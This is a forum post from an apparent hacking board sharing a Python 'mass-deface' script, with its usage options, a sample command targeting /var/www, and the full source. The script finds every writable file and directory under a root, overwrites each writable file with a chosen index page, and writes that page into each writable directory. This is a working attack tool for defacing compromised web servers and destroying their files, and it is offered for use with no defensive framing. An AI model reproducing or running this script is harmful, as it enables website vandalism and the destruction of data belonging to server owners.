Mass-Deface Tool 06-24-2013, 11:06 AM
#1
I've prepared a Python script that finds writable files and directories and copies an index page to them.
Usage:
Options:
-r, ROOT
Write the root directory you want to scan with its subfolders. If you don't use this option, it starts from where you run this script.
-o, OUTPUT
If you want to get an output, use this argument. You may use option below to specify that where you want output to be written, file or console.
-f, FILEOUTPUT
As I write before, specify if you use either file or console for output to be written. If you use -o option and don't use this option, the script uses console for output.
-s, SCAN
Types to scan. There're 2 type as file and folder. If you use "-i" option and:
use file with this option, the script overwrites the content of index file given to the all writable files.
use dir with this option, the script create a file that contains the content of index file given in writable directories.
You can use both of them at same time.
-i, INDEX
If you write your index page to the scanned files or directories, use this option with your index page path.
Usage Sample:
Code:
Usage:
Options:
-r, ROOT
Write the root directory you want to scan with its subfolders. If you don't use this option, it starts from where you run this script.
-o, OUTPUT
If you want to get an output, use this argument. You may use option below to specify that where you want output to be written, file or console.
-f, FILEOUTPUT
As I write before, specify if you use either file or console for output to be written. If you use -o option and don't use this option, the script uses console for output.
-s, SCAN
Types to scan. There're 2 type as file and folder. If you use "-i" option and:
use file with this option, the script overwrites the content of index file given to the all writable files.
use dir with this option, the script create a file that contains the content of index file given in writable directories.
You can use both of them at same time.
-i, INDEX
If you write your index page to the scanned files or directories, use this option with your index page path.
Usage Sample:
Code:
python mass.py -s file dir -o -f output.txt -i hc.htm -r /var/wwwCode:
Code:
import os, argparse, sys
parser = argparse.ArgumentParser()
parser.add_argument('-r', dest='root', default='.')
parser.add_argument('-o', dest="output", action='store_true', default=False)
parser.add_argument('-s', dest='scan', nargs="+", choices=['file', 'dir'], required=True)
parser.add_argument('-f', dest="outputFile", type=argparse.FileType('w'), default=sys.stdout)
parser.add_argument('-i', dest='index', type=argparse.FileType('r'), default=False)
args = parser.parse_args()
writable = [os.path.join(root, path) for (root, dirs, files) in os.walk(args.root) for path in files+dirs if os.access(os.path.join(root, path), os.W_OK)]
writableFiles = [file for file in writable if os.path.isfile(file)]
writableDirs = [dir for dir in writable if os.path.isdir(dir)]
indexSource = args.index.read()
if 'file' in args.scan:
if args.index:
for file in writableFiles:
print >> open(file, 'w+'), indexSource
if args.output:
print >> args.outputFile, "\n".join(writableFiles)
if 'dir' in args.scan:
if args.index:
for dir in writableDirs:
print >> open(os.path.join(dir, args.index.name), 'w+'), indexSource
if args.output:
print >> args.outputFile, "\n".join(writableDirs)

![[+]](https://sinister.li/images/modern/collapse_collapsed.png)
Thanks.

